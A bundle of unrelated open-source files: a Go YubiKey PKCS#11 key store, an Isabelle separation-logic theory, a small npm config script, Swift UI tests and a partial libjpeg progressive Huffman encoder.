ecdsaPubKey = cert.PublicKey.(*ecdsa.PublicKey)
default:
logrus.Infof("Unsupported x509 PublicKeyAlgorithm: %d", cert.PublicKeyAlgorithm)
continue
}
pubBytes, err := x509.MarshalPKIXPublicKey(ecdsaPubKey)
if err != nil {
logrus.Debugf("Failed to Marshal public key")
continue
}
keys[data.NewECDSAPublicKey(pubBytes).ID()] = yubiSlot{
role: cert.Subject.CommonName,
slotID: slot,
}
}
return
}
func getNextEmptySlot(ctx IPKCS11Ctx, session pkcs11.SessionHandle) ([]byte, error) {
findTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_TOKEN, true),
}
attrTemplate := []*pkcs11.Attribute{
pkcs11.NewAttribute(pkcs11.CKA_ID, []byte{0}),
}
if err := ctx.FindObjectsInit(session, findTemplate); err != nil {
logrus.Debugf("Failed to init: %s", err.Error())
return nil, err
}
objs, b, err := ctx.FindObjects(session, numSlots)
// if there are more objects than `numSlots`, get all of them until
// there are no more to get
for err == nil {
var o []pkcs11.ObjectHandle
o, b, err = ctx.FindObjects(session, numSlots)
if err != nil {
continue
}
if len(o) == 0 {
break
}
objs = append(objs, o...)
}
taken := make(map[int]bool)
if err != nil {
logrus.Debugf("Failed to find: %s %v", err.Error(), b)
return nil, err
}
if err = ctx.FindObjectsFinal(session); err != nil {
logrus.Debugf("Failed to finalize: %s\n", err.Error())
return nil, err
}
for _, obj := range objs {
// Retrieve the slot ID
attr, err := ctx.GetAttributeValue(session, obj, attrTemplate)
if err != nil {
continue
}
// Iterate through attributes. If an ID attr was found, mark it as taken
for _, a := range attr {
if a.Type == pkcs11.CKA_ID {
if len(a.Value) < 1 {
continue
}
// a byte will always be capable of representing all slot IDs
// for the Yubikeys
slotNum := int(a.Value[0])
if slotNum >= numSlots {
// defensive
continue
}
taken[slotNum] = true
}
}
}
// iterate the token locations in our preferred order and use the first
// available one. Otherwise exit the loop and return an error.
for _, loc := range slotIDs {
if !taken[loc] {
return []byte{byte(loc)}, nil
}
}
return nil, errors.New("Yubikey has no available slots.")
}
// YubiStore is a KeyStore for private keys inside a Yubikey
type YubiStore struct {
passRetriever passphrase.Retriever
keys map[string]yubiSlot
backupStore trustmanager.KeyStore
libLoader pkcs11LibLoader
}
// NewYubiStore returns a YubiStore, given a backup key store to write any
// generated keys to (usually a KeyFileStore)
func NewYubiStore(backupStore trustmanager.KeyStore, passphraseRetriever passphrase.Retriever) (
*YubiStore, error) {
s := &YubiStore{
passRetriever: passphraseRetriever,
keys: make(map[string]yubiSlot),
backupStore: backupStore,
libLoader: defaultLoader,
}
s.ListKeys() // populate keys field
return s, nil
}
// Name returns a user friendly name for the location this store
// keeps its data
func (s YubiStore) Name() string {
return "yubikey"
}
func (s *YubiStore) setLibLoader(loader pkcs11LibLoader) {
s.libLoader = loader
}
// ListKeys returns a list of keys in the yubikey store
func (s *YubiStore) ListKeys() map[string]trustmanager.KeyInfo {
if len(s.keys) > 0 {
return buildKeyMap(s.keys)
}
ctx, session, err := SetupHSMEnv(pkcs11Lib, s.libLoader)
if err != nil {
logrus.Debugf("Failed to initialize PKCS11 environment: %s", err.Error())
return nil
}
defer cleanup(ctx, session)
keys, err := yubiListKeys(ctx, session)
if err != nil {
logrus.Debugf("Failed to list key from the yubikey: %s", err.Error())
return nil
}
s.keys = keys
return buildKeyMap(keys)
}
// AddKey puts a key inside the Yubikey, as well as writing it to the backup store
func (s *YubiStore) AddKey(keyInfo trustmanager.KeyInfo, privKey data.PrivateKey) error {
added, err := s.addKey(privKey.ID(), keyInfo.Role, privKey)
if err != nil {
return err
}
if added && s.backupStore != nil {
err = s.backupStore.AddKey(keyInfo, privKey)
if err != nil {
defer s.RemoveKey(privKey.ID())
return ErrBackupFailed{err: err.Error()}
}
}
return nil
}
// Only add if we haven't seen the key already. Return whether the key was
// added.
func (s *YubiStore) addKey(keyID, role string, privKey data.PrivateKey) (
bool, error) {
// We only allow adding root keys for now
if role != data.CanonicalRootRole {
return false, fmt.Errorf(
"yubikey only supports storing root keys, got %s for key: %s", role, keyID)
}
ctx, session, err := SetupHSMEnv(pkcs11Lib, s.libLoader)
if err != nil {
logrus.Debugf("Failed to initialize PKCS11 environment: %s", err.Error())
return false, err
}
defer cleanup(ctx, session)
if k, ok := s.keys[keyID]; ok {
if k.role == role {
// already have the key and it's associated with the correct role
return false, nil
}
}
slot, err := getNextEmptySlot(ctx, session)
if err != nil {
logrus.Debugf("Failed to get an empty yubikey slot: %s", err.Error())
return false, err
}
logrus.Debugf("Attempting to store key using yubikey slot %v", slot)
err = addECDSAKey(
ctx, session, privKey, slot, s.passRetriever, role)
if err == nil {
s.keys[privKey.ID()] = yubiSlot{
role: role,
slotID: slot,
}
return true, nil
}
logrus.Debugf("Failed to add key to yubikey: %v", err)
return false, err
}
// GetKey retrieves a key from the Yubikey only (it does not look inside the
// backup store)
func (s *YubiStore) GetKey(keyID string) (data.PrivateKey, string, error) {
ctx, session, err := SetupHSMEnv(pkcs11Lib, s.libLoader)
if err != nil {
logrus.Debugf("Failed to initialize PKCS11 environment: %s", err.Error())
if _, ok := err.(errHSMNotPresent); ok {
err = trustmanager.ErrKeyNotFound{KeyID: keyID}
}
return nil, "", err
}
defer cleanup(ctx, session)
key, ok := s.keys[keyID]
if !ok {
return nil, "", trustmanager.ErrKeyNotFound{KeyID: keyID}
}
pubKey, alias, err := getECDSAKey(ctx, session, key.slotID)
if err != nil {
logrus.Debugf("Failed to get key from slot %s: %s", key.slotID, err.Error())
return nil, "", err
}
// Check to see if we're returning the intended keyID
if pubKey.ID() != keyID {
return nil, "", fmt.Errorf("expected root key: %s, but found: %s", keyID, pubKey.ID())
}
privKey := NewYubiPrivateKey(key.slotID, *pubKey, s.passRetriever)
if privKey == nil {
return nil, "", errors.New("could not initialize new YubiPrivateKey")
}
return privKey, alias, err
}
// RemoveKey deletes a key from the Yubikey only (it does not remove it from the
// backup store)
func (s *YubiStore) RemoveKey(keyID string) error {
ctx, session, err := SetupHSMEnv(pkcs11Lib, s.libLoader)
if err != nil {
logrus.Debugf("Failed to initialize PKCS11 environment: %s", err.Error())
return nil
}
defer cleanup(ctx, session)
key, ok := s.keys[keyID]
if !ok {
return errors.New("Key not present in yubikey")
}
err = yubiRemoveKey(ctx, session, key.slotID, s.passRetriever, keyID)
if err == nil {
delete(s.keys, keyID)
} else {
logrus.Debugf("Failed to remove from the yubikey KeyID %s: %v", keyID, err)
}
return err
}
// ExportKey doesn't work, because you can't export data from a Yubikey
func (s *YubiStore) ExportKey(keyID string) ([]byte, error) {
logrus.Debugf("Attempting to export: %s key inside of YubiStore", keyID)
return nil, errors.New("Keys cannot be exported from a Yubikey.")
}
// GetKeyInfo is not yet implemented
func (s *YubiStore) GetKeyInfo(keyID string) (trustmanager.KeyInfo, error) {
return trustmanager.KeyInfo{}, fmt.Errorf("Not yet implemented")
}
func cleanup(ctx IPKCS11Ctx, session pkcs11.SessionHandle) {
err := ctx.CloseSession(session)
if err != nil {
logrus.Debugf("Error closing session: %s", err.Error())
}
finalizeAndDestroy(ctx)
}
func finalizeAndDestroy(ctx IPKCS11Ctx) {
err := ctx.Finalize()
if err != nil {
logrus.Debugf("Error finalizing: %s", err.Error())
}
ctx.Destroy()
}
// SetupHSMEnv is a method that depends on the existences
func SetupHSMEnv(libraryPath string, libLoader pkcs11LibLoader) (
IPKCS11Ctx, pkcs11.SessionHandle, error) {
if libraryPath == "" {
return nil, 0, errHSMNotPresent{err: "no library found"}
}
p := libLoader(libraryPath)
if p == nil {
return nil, 0, fmt.Errorf("failed to load library %s", libraryPath)
}
if err := p.Initialize(); err != nil {
defer finalizeAndDestroy(p)
return nil, 0, fmt.Errorf("found library %s, but initialize error %s", libraryPath, err.Error())
}
slots, err := p.GetSlotList(true)
if err != nil {
defer finalizeAndDestroy(p)
return nil, 0, fmt.Errorf(
"loaded library %s, but failed to list HSM slots %s", libraryPath, err)
}
// Check to see if we got any slots from the HSM.
if len(slots) < 1 {
defer finalizeAndDestroy(p)
return nil, 0, fmt.Errorf(
"loaded library %s, but no HSM slots found", libraryPath)
}
// CKF_SERIAL_SESSION: TRUE if cryptographic functions are performed in serial with the application; FALSE if the functions may be performed in parallel with the application.
// CKF_RW_SESSION: TRUE if the session is read/write; FALSE if the session is read-only
session, err := p.OpenSession(slots[0], pkcs11.CKF_SERIAL_SESSION|pkcs11.CKF_RW_SESSION)
if err != nil {
defer cleanup(p, session)
return nil, 0, fmt.Errorf(
"loaded library %s, but failed to start session with HSM %s",
libraryPath, err)
}
logrus.Debugf("Initialized PKCS11 library %s and started HSM session", libraryPath)
return p, session, nil
}
// IsAccessible returns true if a Yubikey can be accessed
func IsAccessible() bool {
if pkcs11Lib == "" {
return false
}
ctx, session, err := SetupHSMEnv(pkcs11Lib, defaultLoader)
if err != nil {
return false
}
defer cleanup(ctx, session)
return true
}
func login(ctx IPKCS11Ctx, session pkcs11.SessionHandle, passRetriever passphrase.Retriever, userFlag uint, defaultPassw string) error {
// try default password
err := ctx.Login(session, userFlag, defaultPassw)
if err == nil {
return nil
}
// default failed, ask user for password
for attempts := 0; ; attempts++ {
var (
giveup bool
err error
user string
)
if userFlag == pkcs11.CKU_SO {
user = "SO Pin"
} else {
user = "User Pin"
}
passwd, giveup, err := passRetriever(user, "yubikey", false, attempts)
// Check if the passphrase retriever got an error or if it is telling us to give up
if giveup || err != nil {
return trustmanager.ErrPasswordInvalid{}
}
if attempts > 2 {
return trustmanager.ErrAttemptsExceeded{}
}
// Try to convert PEM encoded bytes back to a PrivateKey using the passphrase
err = ctx.Login(session, userFlag, passwd)
if err == nil {
return nil
}
}
return nil
}
func buildKeyMap(keys map[string]yubiSlot) map[string]trustmanager.KeyInfo {
res := make(map[string]trustmanager.KeyInfo)
for k, v := range keys {
res[k] = trustmanager.KeyInfo{Role: v.role, Gun: ""}
}
return res
}
| {
"pile_set_name": "Github"
} |
(*
* Copyright 2014, NICTA
*
* This software may be distributed and modified according to the terms of
* the BSD 2-Clause license. Note that NO WARRANTY is provided.
* See "LICENSE_BSD2.txt" for details.
*
* @TAG(NICTA_BSD)
*)
theory Sep_ImpI
imports Sep_Provers Sep_Cancel_Set Sep_Tactic_Helpers
begin
lemma sep_wand_lens: "(\<And>s. T s = Q s) \<Longrightarrow> ((P \<longrightarrow>* T) \<and>* R) s \<Longrightarrow> ((P \<longrightarrow>* Q) \<and>* R) s"
apply (sep_erule_full refl_imp)
apply (clarsimp simp: sep_impl_def)
done
lemma sep_wand_lens': "(\<And>s. T s = Q s) \<Longrightarrow> ((T \<longrightarrow>* P) \<and>* R) s \<Longrightarrow> ((Q \<longrightarrow>* P) \<and>* R) s"
apply (sep_erule_full refl_imp, erule sep_curry[rotated])
apply (clarsimp)
apply (erule sep_mp)
done
(* Removing wands from the conclusions *)
ML {*
fun sep_wand_lens ctxt = resolve_tac ctxt[@{thm sep_wand_lens}]
fun sep_wand_lens' ctxt = resolve_tac ctxt [@{thm sep_wand_lens'}]
fun sep_wand_rule_tac tac ctxt =
let
val r = rotator' ctxt
in
tac |> r (sep_wand_lens' ctxt) |> r (sep_wand_lens ctxt) |> r (sep_select ctxt)
end
fun sep_wand_rule_tac' thms ctxt =
let
val r = rotator' ctxt
in
eresolve_tac ctxt thms |> r (sep_wand_lens ctxt) |> r (sep_select ctxt) |> r (sep_asm_select ctxt)
end
fun sep_wand_rule_method thms ctxt = SIMPLE_METHOD' (sep_wand_rule_tac thms ctxt)
fun sep_wand_rule_method' thms ctxt = SIMPLE_METHOD' (sep_wand_rule_tac' thms ctxt)
*}
lemma sep_wand_match:
"(\<And>s. Q s \<Longrightarrow> Q' s) \<Longrightarrow> (R \<longrightarrow>* R') s ==> (Q \<and>* R \<longrightarrow>* Q' \<and>* R') s"
apply (erule sep_curry[rotated])
apply (sep_select_asm 1 3)
apply (sep_drule (direct) sep_mp_frame)
apply (sep_erule_full refl_imp, clarsimp)
done
lemma sep_wand_trivial: "(\<And>s. Q s \<Longrightarrow> Q' s) \<Longrightarrow> R' s ==> (Q \<longrightarrow>* Q' \<and>* R') s"
apply (erule sep_curry[rotated])
apply (sep_erule_full refl_imp)
apply (clarsimp)
done
lemma sep_wand_collapse: "(P \<and>* Q \<longrightarrow>* R) s \<Longrightarrow> (P \<longrightarrow>* Q \<longrightarrow>* R) s "
apply (erule sep_curry[rotated])+
apply (clarsimp simp: sep_conj_assoc)
apply (erule sep_mp)
done
lemma sep_wand_match_less_safe:
assumes drule: " \<And>s. (Q' \<and>* R) s \<Longrightarrow> ((P \<longrightarrow>* R') \<and>* Q' \<and>* R'' ) s "
shows "(Q' \<and>* R) s \<Longrightarrow> (\<And>s. Q' s \<Longrightarrow> Q s) \<Longrightarrow> ((P \<longrightarrow>* Q \<and>* R') \<and>* R'') s"
apply (drule drule)
apply (sep_erule_full refl_imp)
apply (erule sep_conj_sep_impl)
apply (clarsimp simp: sep_conj_assoc)
apply (sep_select_asm 1 3)
apply (sep_drule (direct) sep_mp_frame, sep_erule_full refl_imp)
apply (clarsimp)
done
ML {*
fun sep_match_trivial_tac ctxt =
let
fun flip f a b = f b a
val sep_cancel = flip (sep_apply_tactic ctxt) (SepCancel_Rules.get ctxt |> rev)
fun f x = x |> rotate_prems ~1 |> (fn x => [x]) |> eresolve0_tac |> sep_cancel
val sep_thms = map f [@{thm sep_wand_trivial}, @{thm sep_wand_match}]
in
sep_wand_rule_tac (resolve0_tac [@{thm sep_rule}] THEN' FIRST' sep_thms) ctxt
end
fun sep_safe_method ctxt = SIMPLE_METHOD' (sep_match_trivial_tac ctxt)
*}
method_setup sep_safe = {*
Scan.succeed (sep_safe_method)
*}
end
| {
"pile_set_name": "Github"
} |
'use strict';
const update = require('./update');
const path = require('path');
const os = require('os');
let argv;
try {
argv = JSON.parse(process.env.npm_config_argv).original;
} catch (ex) {
argv = process.argv.slice(2);
}
let configFile = process.env.npm_config_userconfig;
if (configFile) {
configFile = path.resolve(configFile);
} else {
configFile = path.join(os.homedir(), '.npmrc');
}
module.exports = update(argv, configFile);
| {
"pile_set_name": "Github"
} |
//
// ComicsNavigationControllerTests.swift
// Example
//
// Created by Pedro Vicente Gomez on 26/11/15.
// Copyright © 2015 GoKarumi S.L. All rights reserved.
//
import Foundation
import KIF
import Nimble
@testable import Example
class SeriesViewControllerTests: AcceptanceTestCase {
func testShouldShowLoadingView() {
openSeriesViewController()
tester().waitForView(withAccessibilityLabel: "LoadingView")
}
func testShouldShowSeventeenSeries() {
openSeriesViewController()
waitForTableViewLoaded()
let seriesTableView = tester().waitForView(withAccessibilityLabel: "SeriesTableView") as! UITableView
expect(seriesTableView.numberOfRows(inSection: 0)).toEventually(equal(17))
}
private func openSeriesViewController() {
let seriesViewController = ServiceLocator.sharedInstance.provideSeriesNavigationController()
presentViewController(viewController: seriesViewController)
}
private func waitForTableViewLoaded() {
let loadingView = tester().waitForView(withAccessibilityLabel: "LoadingView")
expect(loadingView?.isVisibleInViewHierarchy()).toOneDay(matcher: beFalse())
}
}
| {
"pile_set_name": "Github"
} |
/*
* jcphuff.c
*
* Copyright (C) 1995-1997, Thomas G. Lane.
* This file is part of the Independent JPEG Group's software.
* For conditions of distribution and use, see the accompanying README file.
*
* This file contains Huffman entropy encoding routines for progressive JPEG.
*
* We do not support output suspension in this module, since the library
* currently does not allow multiple-scan files to be written with output
* suspension.
*/
#define JPEG_INTERNALS
#include "jinclude.h"
#include "jpeglib.h"
#include "jchuff.h" /* Declarations shared with jchuff.c */
#ifdef C_PROGRESSIVE_SUPPORTED
/* Expanded entropy encoder object for progressive Huffman encoding. */
typedef struct {
struct jpeg_entropy_encoder pub; /* public fields */
/* Mode flag: TRUE for optimization, FALSE for actual data output */
int gather_statistics;
/* Bit-level coding status.
* next_output_byte/free_in_buffer are local copies of cinfo->dest fields.
*/
JOCTET * next_output_byte; /* => next byte to write in buffer */
size_t free_in_buffer; /* # of byte spaces remaining in buffer */
long put_buffer; /* current bit-accumulation buffer */
int put_bits; /* # of bits now in it */
j_compress_ptr cinfo; /* link to cinfo (needed for dump_buffer) */
/* Coding status for DC components */
int last_dc_val[MAX_COMPS_IN_SCAN]; /* last DC coef for each component */
/* Coding status for AC components */
int ac_tbl_no; /* the table number of the single component */
unsigned int EOBRUN; /* run length of EOBs */
unsigned int BE; /* # of buffered correction bits before MCU */
char * bit_buffer; /* buffer for correction bits (1 per char) */
/* packing correction bits tightly would save some space but cost time... */
unsigned int restarts_to_go; /* MCUs left in this restart interval */
int next_restart_num; /* next restart number to write (0-7) */
/* Pointers to derived tables (these workspaces have image lifespan).
* Since any one scan codes only DC or only AC, we only need one set
* of tables, not one for DC and one for AC.
*/
c_derived_tbl * derived_tbls[NUM_HUFF_TBLS];
/* Statistics tables for optimization; again, one set is enough */
long * count_ptrs[NUM_HUFF_TBLS];
} phuff_entropy_encoder;
typedef phuff_entropy_encoder * phuff_entropy_ptr;
/* MAX_CORR_BITS is the number of bits the AC refinement correction-bit
* buffer can hold. Larger sizes may slightly improve compression, but
* 1000 is already well into the realm of overkill.
* The minimum safe size is 64 bits.
*/
#define MAX_CORR_BITS 1000 /* Max # of correction bits I can buffer */
/* IRIGHT_SHIFT is like RIGHT_SHIFT, but works on int rather than long.
* We assume that int right shift is unsigned if long right shift is,
* which should be safe.
*/
#ifdef RIGHT_SHIFT_IS_UNSIGNED
#define ISHIFT_TEMPS int ishift_temp;
#define IRIGHT_SHIFT(x,shft) \
((ishift_temp = (x)) < 0 ? \
(ishift_temp >> (shft)) | ((~0) << (16-(shft))) : \
(ishift_temp >> (shft)))
#else
#define ISHIFT_TEMPS
#define IRIGHT_SHIFT(x,shft) ((x) >> (shft))
#endif
/* Forward declarations */
METHODDEF(int) encode_mcu_DC_first JPP((j_compress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(int) encode_mcu_AC_first JPP((j_compress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(int) encode_mcu_DC_refine JPP((j_compress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(int) encode_mcu_AC_refine JPP((j_compress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(void) finish_pass_phuff JPP((j_compress_ptr cinfo));
METHODDEF(void) finish_pass_gather_phuff JPP((j_compress_ptr cinfo));
/*
* Initialize for a Huffman-compressed scan using progressive JPEG.
*/
METHODDEF(void)
start_pass_phuff (j_compress_ptr cinfo, int gather_statistics)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int is_DC_band;
int ci, tbl;
jpeg_component_info * compptr;
entropy->cinfo = cinfo;
entropy->gather_statistics = gather_statistics;
is_DC_band = (cinfo->Ss == 0);
/* We assume jcmaster.c already validated the scan parameters. */
/* Select execution routines */
if (cinfo->Ah == 0) {
if (is_DC_band)
entropy->pub.encode_mcu = encode_mcu_DC_first;
else
entropy->pub.encode_mcu = encode_mcu_AC_first;
} else {
if (is_DC_band)
entropy->pub.encode_mcu = encode_mcu_DC_refine;
else {
entropy->pub.encode_mcu = encode_mcu_AC_refine;
/* AC refinement needs a correction bit buffer */
if (entropy->bit_buffer == NULL)
entropy->bit_buffer = (char *)
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
MAX_CORR_BITS * SIZEOF(char));
}
}
if (gather_statistics)
entropy->pub.finish_pass = finish_pass_gather_phuff;
else
entropy->pub.finish_pass = finish_pass_phuff;
/* Only DC coefficients may be interleaved, so cinfo->comps_in_scan = 1
* for AC coefficients.
*/
for (ci = 0; ci < cinfo->comps_in_scan; ci++) {
compptr = cinfo->cur_comp_info[ci];
/* Initialize DC predictions to 0 */
entropy->last_dc_val[ci] = 0;
/* Get table index */
if (is_DC_band) {
if (cinfo->Ah != 0) /* DC refinement needs no table */
continue;
tbl = compptr->dc_tbl_no;
} else {
entropy->ac_tbl_no = tbl = compptr->ac_tbl_no;
}
if (gather_statistics) {
/* Check for invalid table index */
/* (make_c_derived_tbl does this in the other path) */
if (tbl < 0 || tbl >= NUM_HUFF_TBLS)
ERREXIT1(cinfo, JERR_NO_HUFF_TABLE, tbl);
/* Allocate and zero the statistics tables */
/* Note that jpeg_gen_optimal_table expects 257 entries in each table! */
if (entropy->count_ptrs[tbl] == NULL)
entropy->count_ptrs[tbl] = (long *)
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
257 * SIZEOF(long));
MEMZERO(entropy->count_ptrs[tbl], 257 * SIZEOF(long));
} else {
/* Compute derived values for Huffman table */
/* We may do this more than once for a table, but it's not expensive */
jpeg_make_c_derived_tbl(cinfo, is_DC_band, tbl,
& entropy->derived_tbls[tbl]);
}
}
/* Initialize AC stuff */
entropy->EOBRUN = 0;
entropy->BE = 0;
/* Initialize bit buffer to empty */
entropy->put_buffer = 0;
entropy->put_bits = 0;
/* Initialize restart stuff */
entropy->restarts_to_go = cinfo->restart_interval;
entropy->next_restart_num = 0;
}
/* Outputting bytes to the file.
* NB: these must be called only when actually outputting,
* that is, entropy->gather_statistics == FALSE.
*/
/* Emit a byte */
#define emit_byte(entropy,val) \
{ *(entropy)->next_output_byte++ = (JOCTET) (val); \
if (--(entropy)->free_in_buffer == 0) \
dump_buffer(entropy); }
LOCAL(void)
dump_buffer (phuff_entropy_ptr entropy)
/* Empty the output buffer; we do not support suspension in this module. */
{
struct jpeg_destination_mgr * dest = entropy->cinfo->dest;
if (! (*dest->empty_output_buffer) (entropy->cinfo))
ERREXIT(entropy->cinfo, JERR_CANT_SUSPEND);
/* After a successful buffer dump, must reset buffer pointers */
entropy->next_output_byte = dest->next_output_byte;
entropy->free_in_buffer = dest->free_in_buffer;
}
/* Outputting bits to the file */
/* Only the right 24 bits of put_buffer are used; the valid bits are
* left-justified in this part. At most 16 bits can be passed to emit_bits
* in one call, and we never retain more than 7 bits in put_buffer
* between calls, so 24 bits are sufficient.
*/
inline
LOCAL(void)
emit_bits (phuff_entropy_ptr entropy, unsigned int code, int size)
/* Emit some bits, unless we are in gather mode */
{
/* This routine is heavily used, so it's worth coding tightly. */
register long put_buffer = (long) code;
register int put_bits = entropy->put_bits;
/* if size is 0, caller used an invalid Huffman table entry */
if (size == 0)
ERREXIT(entropy->cinfo, JERR_HUFF_MISSING_CODE);
if (entropy->gather_statistics)
return; /* do nothing if we're only getting stats */
put_buffer &= (((long) 1)<<size) - 1; /* mask off any extra bits in code */
put_bits += size; /* new number of bits in buffer */
put_buffer <<= 24 - put_bits; /* align incoming bits */
put_buffer |= entropy->put_buffer; /* and merge with old buffer contents */
while (put_bits >= 8) {
int c = (int) ((put_buffer >> 16) & 0xFF);
emit_byte(entropy, c);
if (c == 0xFF) { /* need to stuff a zero byte? */
emit_byte(entropy, 0);
}
put_buffer <<= 8;
put_bits -= 8;
}
entropy->put_buffer = put_buffer; /* update variables */
entropy->put_bits = put_bits;
}
LOCAL(void)
flush_bits (phuff_entropy_ptr entropy)
{
emit_bits(entropy, 0x7F, 7); /* fill any partial byte with ones */
entropy->put_buffer = 0; /* and reset bit-buffer to empty */
entropy->put_bits = 0;
}
/*
* Emit (or just count) a Huffman symbol.
*/
inline
LOCAL(void)
emit_symbol (phuff_entropy_ptr entropy, int tbl_no, int symbol)
{
if (entropy->gather_statistics)
entropy->count_ptrs[tbl_no][symbol]++;
else {
c_derived_tbl * tbl = entropy->derived_tbls[tbl_no];
emit_bits(entropy, tbl->ehufco[symbol], tbl->ehufsi[symbol]);
}
}
/*
* Emit bits from a correction bit buffer.
*/
LOCAL(void)
emit_buffered_bits (phuff_entropy_ptr entropy, char * bufstart,
unsigned int nbits)
{
if (entropy->gather_statistics)
return; /* no real work */
while (nbits > 0) {
emit_bits(entropy, (unsigned int) (*bufstart), 1);
bufstart++;
nbits--;
}
}
/*
* Emit any pending EOBRUN symbol.
*/
LOCAL(void)
emit_eobrun (phuff_entropy_ptr entropy)
{
register int temp, nbits;
if (entropy->EOBRUN > 0) { /* if there is any pending EOBRUN */
temp = entropy->EOBRUN;
nbits = 0;
while ((temp >>= 1))
nbits++;
/* safety check: shouldn't happen given limited correction-bit buffer */
if (nbits > 14)
ERREXIT(entropy->cinfo, JERR_HUFF_MISSING_CODE);
emit_symbol(entropy, entropy->ac_tbl_no, nbits << 4);
if (nbits)
emit_bits(entropy, entropy->EOBRUN, nbits);
entropy->EOBRUN = 0;
/* Emit any buffered correction bits */
emit_buffered_bits(entropy, entropy->bit_buffer, entropy->BE);
entropy->BE = 0;
}
}
/*
* Emit a restart marker & resynchronize predictions.
*/
LOCAL(void)
emit_restart (phuff_entropy_ptr entropy, int restart_num)
{
int ci;
emit_eobrun(entropy);
if (! entropy->gather_statistics) {
flush_bits(entropy);
emit_byte(entropy, 0xFF);
emit_byte(entropy, JPEG_RST0 + restart_num);
}
if (entropy->cinfo->Ss == 0) {
/* Re-initialize DC predictions to 0 */
for (ci = 0; ci < entropy->cinfo->comps_in_scan; ci++)
entropy->last_dc_val[ci] = 0;
} else {
/* Re-initialize all AC-related fields to 0 */
entropy->EOBRUN = 0;
entropy->BE = 0;
}
}
/*
* MCU encoding for DC initial scan (either spectral selection,
* or first pass of successive approximation).
*/
METHODDEF(int)
encode_mcu_DC_first (j_compress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
register int temp, temp2;
register int nbits;
int blkn, ci;
int Al = cinfo->Al;
JBLOCKROW block;
jpeg_component_info * compptr;
ISHIFT_TEMPS
entropy->next_output_byte = cinfo->dest->next_output_byte;
entropy->free_in_buffer = cinfo->dest->free_in_buffer;
/* Emit restart marker if needed */
if (cinfo->restart_interval)
if (entropy->restarts_to_go == 0)
emit_restart(entropy, entropy->next_restart_num);
/* Encode the MCU data blocks */
for (blkn = 0; blkn < cinfo->blocks_in_MCU; blkn++) {
block = MCU_data[blkn];
ci = cinfo->MCU_membership[blkn];
compptr = cinfo->cur_comp_info[ci];
/* Compute the DC value after the required point transform by Al.
* This is simply an arithmetic right shift.
*/
temp2 = IRIGHT_SHIFT((int) ((*block)[0]), Al);
/* DC differences are figured on the point-transformed values. */
temp = temp2 - entropy->last_dc_val[ci];
entropy->last_dc_val[ci] = temp2;
/* Encode the DC coefficient difference per section G.1.2.1 */
temp2 = temp;
if (temp < 0) {
temp = -temp; /* temp is abs value of input */
/* For a negative input, want temp2 = bitwise complement of abs(input) */
/* This code assumes we are on a two's complement machine */
temp2--;
}
/* Find the number of bits needed for the magnitude of the coefficient */
nbits = 0;
while (temp) {
nbits++;
temp >>= 1;
}
/* Check for out-of-range coefficient values.
* Since we're encoding a difference, the range limit is twice as much.
*/
if (nbits > MAX_COEF_BITS+1)
ERREXIT(cinfo, JERR_BAD_DCT_COEF);
/* Count/emit the Huffman-coded symbol for the number of bits */
emit_symbol(entropy, compptr->dc_tbl_no, nbits);
/* Emit that number of bits of the value, if positive, */
/* or the complement of its magnitude, if negative. */
if (nbits) /* emit_bits rejects calls with size 0 */
emit_bits(entropy, (unsigned int) temp2, nbits);
}
cinfo->dest->next_output_byte = entropy->next_output_byte;
cinfo->dest->free_in_buffer = entropy->free_in_buffer;
/* Update restart-interval state too */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0) {
entropy->restarts_to_go = cinfo->restart_interval;
entropy->next_restart_num++;
entropy->next_restart_num &= 7;
}
entropy->restarts_to_go--;
}
return TRUE;
}
/*
* MCU encoding for AC initial scan (either spectral selection,
* or first pass of successive approximation).
*/
METHODDEF(int)
encode_mcu_AC_first (j_compress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
register int temp, temp2;
register int nbits;
register int r, k;
int Se = cinfo->Se;
int Al = cinfo->Al;
JBLOCKROW block;
entropy->next_output_byte = cinfo->dest->next_output_byte;
entropy->free_in_buffer = cinfo->dest->free_in_buffer;
/* Emit restart marker if needed */
if (cinfo->restart_interval)
if (entropy->restarts_to_go == 0)
emit_restart(entropy, entropy->next_restart_num);
/* Encode the MCU data block */
block = MCU_data[0];
/* Encode the AC coefficients per section G.1.2.2, fig. G.3 */
r = 0; /* r = run length of zeros */
for (k = cinfo->Ss; k <= Se; k++) {
if ((temp = (*block)[jpeg_natural_order[k]]) == 0) {
r++;
continue;
}
/* We must apply the point transform by Al. For AC coefficients this
* is an integer division with rounding towards 0. To do this portably
* in C, we shift after obtaining the absolute value; so the code is
* interwoven with finding the abs value (temp) and output bits (temp2).
*/
if (temp < 0) {
temp = -temp; /* temp is abs value of input */
temp >>= Al; /* apply the point transform */
/* For a negative coef, want temp2 = bitwise complement of abs(coef) */
temp2 = ~temp;
} else {
temp >>= Al; /* apply the point transform */
temp2 = temp;
}
/* Watch out for case that nonzero coef is zero after point transform */
if (temp == 0) {
r++;
continue;
}
/* Emit any pending EOBRUN */
if (entropy->EOBRUN > 0)
emit_eobrun(entropy);
/* if run length > 15, must emit special run-length-16 codes (0xF0) */
while (r > 15) {
emit_symbol(entropy, entropy->ac_tbl_no, 0xF0);
r -= 16;
}
/* Find the number of bits needed for the magnitude of the coefficient */
nbits = 1; /* there must be at least one 1 bit */
while ((temp >>= 1))
nbits++;
/* Check for out-of-range coefficient values */
if (nbits > MAX_COEF_BITS)
ERREXIT(cinfo, JERR_BAD_DCT_COEF);
/* Count/emit Huffman symbol for run length / number of bits */
emit_symbol(entropy, entropy->ac_tbl_no, (r << 4) + nbits);
/* Emit that number of bits of the value, if positive, */
/* or the complement of its magnitude, if negative. */
emit_bits(entropy, (unsigned int) temp2, nbits);
r = 0; /* reset zero run length */
}
if (r > 0) { /* If there are trailing zeroes, */
entropy->EOBRUN++; /* count an EOB */
